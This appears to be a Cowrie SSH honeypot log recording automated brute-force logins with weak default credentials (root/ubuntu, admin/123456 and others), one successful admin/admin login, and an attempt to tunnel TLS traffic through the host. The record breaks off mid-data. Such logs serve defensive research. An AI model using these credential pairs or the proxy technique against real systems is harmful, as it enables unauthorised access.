{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36444,"dst_ip":"10.17.0.5","dst_port":22,"session":"399e82c8711b","protocol":"ssh","message":"New connection: 45.156.87.253:36444 (10.17.0.5:22) [session: 399e82c8711b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:48.748502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:48.753707Z","src_ip":"45.156.87.253","session":"399e82c8711b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:48.834858Z","src_ip":"45.156.87.253","session":"399e82c8711b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:49.080045Z","src_ip":"45.156.87.253","session":"399e82c8711b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:50.163338Z","src_ip":"45.156.87.253","session":"399e82c8711b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34308,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73f90c53a68","protocol":"ssh","message":"New connection: 45.156.87.253:34308 (10.17.0.5:22) [session: e73f90c53a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:52.075030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:52.078703Z","src_ip":"45.156.87.253","session":"e73f90c53a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:52.158761Z","src_ip":"45.156.87.253","session":"e73f90c53a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:52.399888Z","src_ip":"45.156.87.253","session":"e73f90c53a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:53.482593Z","src_ip":"45.156.87.253","session":"e73f90c53a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34316,"dst_ip":"10.17.0.5","dst_port":22,"session":"645ca57da461","protocol":"ssh","message":"New connection: 45.156.87.253:34316 (10.17.0.5:22) [session: 645ca57da461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:55.437054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:55.443798Z","src_ip":"45.156.87.253","session":"645ca57da461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:55.524402Z","src_ip":"45.156.87.253","session":"645ca57da461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:55.774190Z","src_ip":"45.156.87.253","session":"645ca57da461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:56.856466Z","src_ip":"45.156.87.253","session":"645ca57da461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34332,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cdbd863d10c","protocol":"ssh","message":"New connection: 45.156.87.253:34332 (10.17.0.5:22) [session: 5cdbd863d10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:58.821773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:58.825584Z","src_ip":"45.156.87.253","session":"5cdbd863d10c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:58.905820Z","src_ip":"45.156.87.253","session":"5cdbd863d10c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:59.302378Z","src_ip":"45.156.87.253","session":"5cdbd863d10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:00.388678Z","src_ip":"45.156.87.253","session":"5cdbd863d10c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":38928,"dst_ip":"10.17.0.5","dst_port":22,"session":"1819b0c9897e","protocol":"ssh","message":"New connection: 195.178.110.137:38928 (10.17.0.5:22) [session: 1819b0c9897e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.217646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.221441Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.304577Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.606961Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"8.8.8.8","dst_port":443,"src_ip":"195.178.110.137","src_port":0,"message":"direct-tcp connection request to 8.8.8.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.693228Z","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"8.8.8.8","dst_port":443,"ja4":"t12d131100_f57a46bbacb6_4b7cee5f0569","message":"JA4 fingerprint for forwarded TLS to 8.8.8.8:443: t12d131100_f57a46bbacb6_4b7cee5f0569","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.777992Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"8.8.8.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03}\\xbf\\xafQ\\xe7\\x0e\\x86\\x01A\\x06.?\\xf0\\xa0\\xfd17AG\\x06\\x13\\x13=\\xcf\\x10\\xe2\\xa1^2\\xbb|\\xcf ]\\x13id.\\xb0m\\x85\\xff}\\x13v\\x84w\\xce\\x16\\x0e\\xfdG\\xf5\\xc9\\xb9\\xef%\\x14x8\\xbf\\\\G\\xb5u\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0oW\\x82_W\\x8c\\xcehg\\x1d\\xc1\\x90\\xf1d-\\x08\\xf6\\x85a\\x92\\x1c\\xf3\\x07\\xcd\\xe28O<\\xcc\\xa2L\\xe73\\x857Y^\\\\\\xac\\xb0\\xc0\\x7fS\\t%cS\\xa4\\x11L\\x1a\\x90\\xf9r\\xdf\\xb6y\\xe2\\xb6\\x16\\xf0\\x0b:\\xccK\\xb1\\xbf\\x1b\\x94\\x14\\xaa\\xa2d\\xc5_\\xadg\\x93\\x06\\xf8\\xc8\\xc2J\\x0c:\\x9b\\x85\\xedz\\x0e\\xf3\\xba\\xc9\\xad\\xf1X\\xf6\\x83m\\xf7\\x95[\\xdd\\xc5+\\xa8Y*\\xd5\\x0b&\\xe1G\\\\\\xc4\\xa4\\x8a\\xa9\\x8a\\x87I\\xbap(\\xb5\\xbevS\\x8f\\x95\\xc5\\xab\\xd0\\xd9^\\xa8\\xdb#j\\xc2\\xa1\\x9d\\xc7\\x90\\xec\\xb1\\xa2\\\\\\xeb\\xbe\\t\\x81G\\xb7\\x95*G\\x83kn:\\xa2+\\x95\\x02jC\\x9a\\x15\\xe5\\xcd\\xa6ZX\\x10\\xb4\\xae\\xd7\\x16\\x1a\\xbbA\\xaa\\xec\\x92s\\xa0Ft\\xb0\\xeb\\xb9\\xcdYr\\xcf\\x90\\xb6\\xd9\\xc2}\\xd9\\xe1I\\xfc\\xa2\\x16\\x02X\\xc5\\x18%\\x08\\xcdjc\\x18\\xd6]L\\xeb\\x97=<\\x87g\\x11~\\xf9\\xdb\\x1am\\xb4\\r\\xc9T\\xba^\\x87Eg\\xd8u\\xd70K\\xd2\\xc7)\\x93l\\x1d%\\xf5\\x00\\xebY@L\\xe5{\\xfdD\\x97S+\\x19\\rr\\x1d4Lb\\xddv\\x84\\xb7\\xca\\xaf:\\x18\\x7f[\\xab\\x90\\x00\\xd8\\xca\\xc38y\\xd0{\\x14\\x8f\\xa5\\x85\\xfe\\x97\\xc8r\\x18%\\x93\\xb1`\\xb7 \\xad\\xa7H{B\\xf3iA\\x95_\\xc1\\x1bn\\xf6\\xe6\\xadE\\x90\\x0f\\xc7!\\x99\\xde\\\\\\xc2YRm\\xc6\\xf9\\xca\\x86\\xbbC\\x94\\xbbu\\x850JD\\x91\"\\x1bAc\\xa4\\x12\\x0b\\xa7&hL\\x86t)`\\xa2*\\xb7\\x10\\xd0\\n\\xc5\\xa3\\xc14\\xeb\\x94-\\xbf+\\x11\\x95\\xa5\\x9do\\xc2\\x19\\xe3X\\xa8|\\x19\\x10\\xa3\\x81\\x91\\xf2g(\\xd5\\x88\\x9d4@\\x16\\x8b\\xa8\\x02\\x1a\\xc9\\x19#\\xb0\\x94g\\x07>\\x91\\xe6\\xb2\\xe9\\xb7\\x94>\\xb7\\x96\\xbbc\\x10\\xa0\\xca0\\x15\\xda\\xc2\\x02pi\\xd6w\\xbc\\xe0 IS\\x9a5\\x838n\\xa8\\x9a^~\\x07a\\xad\\x99\\x87\\x99zoO\\x9bx\\xe4\\xd0\\x1d \\x19\\x13\\xc9v(\\x01\\xf9znv\\x99k\\xc4Rm\\n\\xaa\\xe7\\xcc\\\\\\x9eJ\\x1e\\x1b2e&d\\x9f\\x9e\\xc9\\x80YI\\xa8\\xc7|\\xc1\\xf2\\xba\\xbf\\x11J\\x19\\xe1w|\\xbe\\xe1j\\x1b\\x89\\xc0A2\\x90W8\\xb2\\xc4\\xdbH()\\x83\"\\xf6/<\\x99\\xc2\\xfd\\xf0\\xad\\x94%\\xa0\\xb5\\xf0v\\xd1\\xd2\\x07\\x9f\\xec +\\xa6I\\x8b\\x8c\\x81di\\xaf\\xed\\xda\\xafjL\\xb1]\\x034\\xee\\xe2-7t\\x84\\xffp=\\x195^f\\x8a\\xab\\x89`\\x86CJ\\x90\\xe7\\x8cA\\xa3`\\x1c\\xca2g\\xa2\\xb4h\\x14<Pk\\xe9\\x80X\\x92^\\xd4\\x90e\\n\\xf1i\\xb0\\xb5er\\xf7\\xa5\\xd4\\xd3e\\xbe#q\\xc8F\\x96A\\x18\\xca\\x81\\x80\\xa4/)\\tb!0_\\x92\\x1a\\xc5\\xa7\\x8cZ\\xe3\\xbc8A6\\x01\\x80\\xae3@\\r\\x1b\\xf9\\xc7R\\x91\\x89\\x96\\x1a\\x95\\xc1\\n\\x88+\\x15\\x06\\xdf\\xd0\\xc5(\\x97\\xaf\\x13c\\xb1JyXU\\xbcv-\\xba;(\\x1c\\xa2\\xfd\\xe6\\xb7\\xe1B4\\xf7PKc\\xd4\\x8d\\xec,-\\x1a\\x0cJ\\xe0\\xb6\\xa1\\xa6\\xc5Fp\\xc0tP\\xbb\\x07Alt\\x84\\x05\\xb2\\x87\\xfc\\xcf\\xf5\\xdaL\\t\\xc4F\\xd3\\x91v\\r8\\x85\\xb18w\\xab\\x8a1\\xdc\\xd6\\x87G\\xe6{`v\\x99\\x8b\\xe3\\x9eZF\\x901wS\\xe9\\xc0\\x0fb\\xbc\\xb6\\xd9,j\\x0er\\x8a\\xb0W\\x9bY)pqV)\\xad\\xe3\\x88I\\x8a1\\xd5\\x05\\x12\\x93\\x89\\xb9\\xd6\\xdaae\\x922\\x81\"\\xc9Rl\\xa5M\\xf4\\xcc\\xb0\\xe7G\\x94C`\\xcf\\xbb\\x1f4\\xe5\\xc9e\\xd5\\x95\\x80v\\xafg\\x03\\x8a\\xdcg\\x8c>g&\\xf8\\xf5\\x03#1\\xa4\\x1bC\\xad\\xb5\\xe3K~\\xb0h\\x06\\xca\\x08\\x8d\\xa5\\x08\\x87\\x17f\\xad2i \\x872\\xb6\\x93Bw\\xd6\\x80\"7H8euH\\xc0I\\xc3Dl(\\xc4Yr0f\\xec\\x1a\\x10\\x10\\x07Qqd-\\xd8x\\'\\xe4q\\xc1\\xfa\\xbcp\"\\x80I6Xo\\x86I\\x11\\xac\\xd3\\x99\\x8c:\\x9a;\\xe5N\\xec\\xd4\\x93\\xa5Y\\x14\\x05A0\\xf5\\xe5|\\xd0\\xa2\\x8b&\\xb8t\\xe8(i(\\xe3\\xa5W\\x12\\x8c\\xbf\\xb3\\x92*\\xdbSf\\n2\\xd3\\xe1\\x9f\\x83\\'-9\\xb5\\'\\x1e\\x1aS\\x99;l\\xf50\\xce\\xde\\x1a\\x9d\\x11\\nns[V\\xa1\\x89(\\xd5\\xe60\\x9f\\x054V\\xf1\\xc0P\\x00(\\xdf\\xe3\\xbe\\xf5\\xba\\x12\\x9d\\xf5\\x9c\\xbad\\x16\\xbb,\\x977\\xe8\\\\\\x92d\\x19\\xb0\\xa7\\x05#\\\\\\x93\\xdcC\\xad\\xf2\\xe6\\x1b\\xf3j\\x8eJv`:\\xf6[\\xcd\\x15qwe\\x13l\\xa5\\xbd7\\x89a\\xe2\\xac[$\\x9c-\\x08\\xbb\\xa9t\\x98\\x8c\\x92P\\x10\\x17\\x17\\x1d-\\xb00\\xec\\xc8dx#\\x85\\x98\\xd3m\\xef<\\x90j\\x0c\\x07o6g\\xb7\\xa4PW\\t \\xeaQ\\x8c/k\\x16g\\x92\\x03\\\\\\x18\\x85h\\x84\\xa6\\xa0Q\\xaa\\xc2\\x16\\x92\\x81r\\x19\\xf2HU\\xaa\\xd7 \\x94\\xf7\\x89\\x1d\\x13AN\\xb7\\xfe\\xc5\\x0f\\xb7v\\xc9\\x88\\xc9\\\\\\xbb\\x1a\\xec\\xf3\\xba\\x99\\x99E~p!\\xef@\\xa8\\xe5\\x03Q\\x98\\xa7\\xaa\\xac\\x85)\\xedC|\\xf3\\x966e\\x14\\xe7Nt\\x01\\xc5\\xd9}\\xa3#lW0-q\\xff\\xf3e(5\\x00\\x1d\\x00 \\xa7\\xaa\\xac\\x85)\\xedC|\\xf3\\x966e\\x14\\xe7Nt\\x01\\xc5\\xd9}\\xa3#lW0-q\\xff\\xf3e(5'","id":0,"message":"discarded direct-tcp forward request 0 to 8.8.8.8:443 with data b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03}\\xbf\\xafQ\\xe7\\x0e\\x86\\x01A\\x06.?\\xf0\\xa0\\xfd17AG\\x06\\x13\\x13=\\xcf\\x10\\xe2\\xa1^2\\xbb|\\xcf ]\\x13id.\\xb0m\\x85\\xff}\\x13v\\x84w\\xce\\x16\\x0e\\xfdG\\xf5\\xc9\\xb9\\xef%\\x14x8\\xbf\\\\G\\xb5u\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\